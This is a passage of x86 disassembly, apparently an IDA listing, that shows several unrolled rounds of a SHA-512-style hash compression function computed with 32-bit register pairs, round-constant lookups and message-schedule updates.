		mov	ebp, [esp+170h+var_148]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_14C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_144]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_134]
		not	ebx
		and	ebx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_140]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420658[eax*8]
		adc	esi, ds:dword_42065C[eax*8]
		add	edx, [esp+170h+var_38]
		mov	eax, [esp+170h+var_138]
		adc	esi, [esp+170h+var_34]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_158], eax
		mov	[esp+170h+var_134], ecx
		mov	[esp+170h+var_138], eax
		adc	[esp+170h+var_154], ecx
		mov	ecx, [esp+170h+var_130]
		mov	eax, [esp+170h+var_12C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_130]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_124]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_128]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_130]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_120]
		and	edx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	ebp, eax
		and	ebp, [esp+170h+var_11C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_138], edi
		adc	[esp+170h+var_134], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405EF0
		mov	eax, [esp+170h+var_D0]
		mov	ecx, [esp+170h+var_CC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_CC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_108]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_104]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_108]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_104]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C0]
		adc	edx, [esp+170h+var_BC]
		add	ecx, [esp+170h+var_A8]
		adc	edx, [esp+170h+var_A4]
		mov	[eax+70h], ecx
		mov	[eax+74h], edx
		mov	eax, edx
		mov	[esp+170h+var_A8], ecx
		mov	[esp+170h+var_A4], eax
		mov	[esp+170h+var_88], ecx
		jmp	short loc_405F05
; ---------------------------------------------------------------------------

loc_405EF0:				; CODE XREF: sub_405390+A75j
		mov	edx, [esp+170h+var_A8]
		mov	eax, [esp+170h+var_A4]
		mov	[esp+170h+var_88], edx

loc_405F05:				; CODE XREF: sub_405390+B5Ej
		mov	ecx, [esp+170h+var_154]
		mov	[esp+170h+var_84], eax
		mov	eax, [esp+170h+var_158]
		mov	ebx, ecx
		xor	esi, esi
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		mov	edx, ecx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		xor	ebx, ebx
		or	ebx, ebp
		mov	ebp, [esp+170h+var_154]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		shr	ebp, 0Eh
		or	ecx, ebp
		mov	ebp, [esp+170h+var_150]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_154]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_14C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_144]
		xor	edi, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420660[eax*8]
		mov	edi, [esp+170h+var_12C]
		adc	esi, ds:dword_420664[eax*8]
		add	edx, [esp+170h+var_88]
		mov	eax, [esp+170h+var_140]
		adc	esi, [esp+170h+var_84]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_120], eax
		mov	esi, [esp+170h+var_130]
		mov	[esp+170h+var_140], eax
		adc	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_138]
		mov	eax, esi
		xor	eax, ecx
		mov	[esp+170h+var_98], eax
		mov	eax, [esp+170h+var_134]
		mov	edx, edi
		xor	edx, eax
		mov	[esp+170h+var_94], edx
		mov	edx, esi
		and	edx, ecx
		mov	[esp+170h+var_90], edx
		mov	edx, edi
		and	edx, eax
		mov	[esp+170h+var_8C], edx
		mov	edx, ecx
		xor	esi, esi
		shl	edx, 4
		mov	edi, ecx
		mov	ebx, eax
		shrd	edi, ebx, 1Ch
		shr	ebx, 1Ch
		or	edx, ebx
		or	esi, edi
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	ebx, ebx
		shl	ecx, 1Eh
		or	ebx, ebp
		mov	edi, eax
		xor	edx, ebx
		mov	ebx, [esp+170h+var_138]
		shr	edi, 2
		or	edi, ecx
		mov	ecx, eax
		shld	eax, ebx, 19h
		xor	esi, edi
		shr	ecx, 7
		xor	edi, edi
		or	edi, eax
		mov	eax, [esp+170h+var_98]
		and	eax, [esp+170h+var_128]
		shl	ebx, 19h
		xor	eax, [esp+170h+var_90]
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_94]
		and	ecx, [esp+170h+var_124]
		xor	edx, edi
		xor	ecx, [esp+170h+var_8C]
		add	esi, eax
		adc	edx, ecx
		add	[esp+170h+var_140], esi
		adc	[esp+170h+var_13C], edx
		cmp	[esp+170h+var_15C], 0
		jz	loc_406172
		mov	eax, [esp+170h+var_B8]
		mov	ecx, [esp+170h+var_B4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_B4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_D8]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_D4]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_D8]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_D4]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D0]
		adc	edx, [esp+170h+var_CC]
		add	ecx, [esp+170h+var_A0]
		adc	edx, [esp+170h+var_9C]
		mov	[eax+78h], ecx
		mov	[eax+7Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_D0], ecx
		mov	[esp+170h+var_CC], eax
		mov	[esp+170h+var_60], ecx
		jmp	short loc_406187
; ---------------------------------------------------------------------------

loc_406172:				; CODE XREF: sub_405390+CEBj
		mov	edx, [esp+170h+var_D0]
		mov	eax, [esp+170h+var_CC]
		mov	[esp+170h+var_60], edx

loc_406187:				; CODE XREF: sub_405390+DE0j
		mov	ecx, [esp+170h+var_11C]
		mov	ebx, ecx
		mov	[esp+170h+var_5C], eax
		mov	eax, [esp+170h+var_120]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_11C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		shr	ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_158]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_11C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_154]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_14C]
		not	edi
		and	edi, [esp+170h+var_150]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420668[eax*8]
		adc	esi, ds:dword_42066C[eax*8]
		add	edx, [esp+170h+var_60]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_5C]
		add	ecx, edx
		mov	edx, [esp+170h+var_144]
		adc	edx, esi
		add	eax, ecx
		adc	[esp+170h+var_124], edx
		mov	[esp+170h+var_148], ecx
		mov	ecx, [esp+170h+var_140]
		mov	[esp+170h+var_144], edx
		mov	edx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	ebp, edx
		shrd	ebx, ebp, 1Ch
		xor	edi, edi
		or	edi, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	edx, ecx, 1Eh
		shr	ebp, 1Ch
		shl	esi, 4
		or	esi, ebp
		shr	ebx, 2
		shl	ecx, 1Eh
		xor	ebp, ebp
		or	ebx, ecx
		mov	[esp+170h+var_128], eax
		or	ebp, edx
		mov	ecx, [esp+170h+var_13C]
		xor	esi, ebp
		mov	ebp, [esp+170h+var_140]
		mov	edx, ecx
		shld	ecx, ebp, 19h
		xor	edi, ebx
		shr	edx, 7
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_98]
		and	ecx, [esp+170h+var_140]
		shl	ebp, 19h
		xor	ecx, [esp+170h+var_90]
		or	edx, ebp
		xor	edi, edx
		mov	edx, [esp+170h+var_94]
		and	edx, [esp+170h+var_13C]
		xor	esi, ebx
		xor	edx, [esp+170h+var_8C]
		add	edi, ecx
		adc	esi, edx
		add	[esp+170h+var_148], edi
		adc	[esp+170h+var_144], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_4063CD
		mov	eax, [esp+170h+var_A8]
		mov	ecx, [esp+170h+var_A4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_A4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_118]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_114]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_118]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_114]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D8]
		adc	edx, [esp+170h+var_D4]
		add	ecx, [esp+170h+var_E0]
		adc	edx, [esp+170h+var_DC]
		mov	[eax+80h], ecx
		mov	[eax+84h], edx
		mov	eax, edx
		mov	[esp+170h+var_D4], eax
		mov	[esp+170h+var_14], eax
		mov	eax, [esp+170h+var_128]
		mov	[esp+170h+var_D8], ecx
		mov	[esp+170h+var_18], ecx
		jmp	short loc_4063E9
; ---------------------------------------------------------------------------

loc_4063CD:				; CODE XREF: sub_405390+F41j
		mov	edx, [esp+170h+var_D8]
		mov	ecx, [esp+170h+var_D4]
		mov	[esp+170h+var_18], edx
		mov	[esp+170h+var_14], ecx

loc_4063E9:				; CODE XREF: sub_405390+103Bj
		mov	ecx, [esp+170h+var_124]
		mov	ebx, ecx
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_124]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_120]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_124]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_11C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_14C]
		not	ebx
		and	ebx, [esp+170h+var_154]
		not	edi
		and	edi, [esp+170h+var_158]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420670[eax*8]
		adc	esi, ds:dword_420674[eax*8]
		add	edx, [esp+170h+var_18]
		mov	eax, [esp+170h+var_150]
		adc	esi, [esp+170h+var_14]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_130], eax
		mov	[esp+170h+var_14C], ecx
		mov	[esp+170h+var_150], eax
		adc	[esp+170h+var_12C], ecx
		mov	eax, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_148]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_148]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	ebp, [esp+170h+var_134]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_138]
		and	ebp, eax
		mov	eax, [esp+170h+var_13C]
		and	eax, [esp+170h+var_134]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_150], edi
		adc	[esp+170h+var_14C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_406611
		mov	eax, [esp+170h+var_C8]
		mov	ecx, [esp+170h+var_C4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_C4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_D0]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_CC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_D0]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_CC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_118]
		adc	edx, [esp+170h+var_114]
		add	ecx, [esp+170h+var_100]
		adc	edx, [esp+170h+var_FC]
		mov	[eax+88h], ecx
		mov	[eax+8Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_118], ecx
		mov	[esp+170h+var_114], eax
		mov	[esp+170h+var_48], ecx
		jmp	short loc_406620
; ---------------------------------------------------------------------------

loc_406611:				; CODE XREF: sub_405390+1196j
		mov	edx, [esp+170h+var_118]
		mov	eax, [esp+170h+var_114]
		mov	[esp+170h+var_48], edx

loc_406620:				; CODE XREF: sub_405390+127Fj
		mov	ecx, [esp+170h+var_12C]
		mov	ebx, ecx
		mov	[esp+170h+var_44], eax
		mov	eax, [esp+170h+var_130]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_12C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_128]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_12C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_124]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_154]
		not	ebx
		and	ebx, [esp+170h+var_11C]
		not	edi
		and	edi, [esp+170h+var_120]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420678[eax*8]
		adc	esi, ds:dword_42067C[eax*8]
		add	edx, [esp+170h+var_48]
		mov	eax, [esp+170h+var_158]
		adc	esi, [esp+170h+var_44]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_138], eax
		mov	[esp+170h+var_154], ecx
		mov	[esp+170h+var_158], eax
		adc	[esp+170h+var_134], ecx
		mov	ecx, [esp+170h+var_150]
		mov	eax, [esp+170h+var_14C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_150]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edx, edx
		or	edx, ebp
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		mov	ebp, eax
		xor	ebp, [esp+170h+var_13C]
		and	eax, [esp+170h+var_13C]
		and	ebp, [esp+170h+var_144]
		and	ecx, edx
		xor	ebx, ecx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_158], edi
		adc	[esp+170h+var_154], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_40685B
		mov	eax, [esp+170h+var_D8]
		mov	ecx, [esp+170h+var_D4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_D4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_F0]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_EC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_F0]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_EC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C8]
		adc	edx, [esp+170h+var_C4]
		add	ecx, [esp+170h+var_110]
		adc	edx, [esp+170h+var_10C]
		mov	[eax+90h], ecx
		mov	[eax+94h], edx
		mov	eax, edx
		mov	[esp+170h+var_C8], ecx
		mov	[esp+170h+var_C4], eax
		mov	[esp+170h+var_80], ecx
		jmp	short loc_406870
; ---------------------------------------------------------------------------

loc_40685B:				; CODE XREF: sub_405390+13D4j
		mov	edx, [esp+170h+var_C8]
		mov	eax, [esp+170h+var_C4]
		mov	[esp+170h+var_80], edx

loc_406870:				; CODE XREF: sub_405390+14C9j
		mov	ecx, [esp+170h+var_134]
		mov	ebx, ecx
		mov	[esp+170h+var_7C], eax
		mov	eax, [esp+170h+var_138]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_134]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_130]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_134]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_12C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_11C]
		not	ebx
		and	ebx, [esp+170h+var_124]
		not	edi
		and	edi, [esp+170h+var_128]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420680[eax*8]
		adc	esi, ds:dword_420684[eax*8]
		add	edx, [esp+170h+var_80]
		mov	eax, [esp+170h+var_120]
		adc	esi, [esp+170h+var_7C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_140], eax
		mov	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_120], eax
		adc	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_158]
		mov	eax, [esp+170h+var_154]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_158]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_14C]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_150]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_158]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		mov	ecx, [esp+170h+var_14C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_144]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_120], edi
		adc	[esp+170h+var_11C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_406AA1
		mov	eax, [esp+170h+var_E8]
		mov	ecx, [esp+170h+var_E4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_E4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_118]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_114]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_118]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_114]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_108]
		adc	edx, [esp+170h+var_104]
		add	ecx, [esp+170h+var_F0]
		adc	edx, [esp+170h+var_EC]
		mov	[eax+98h], ecx
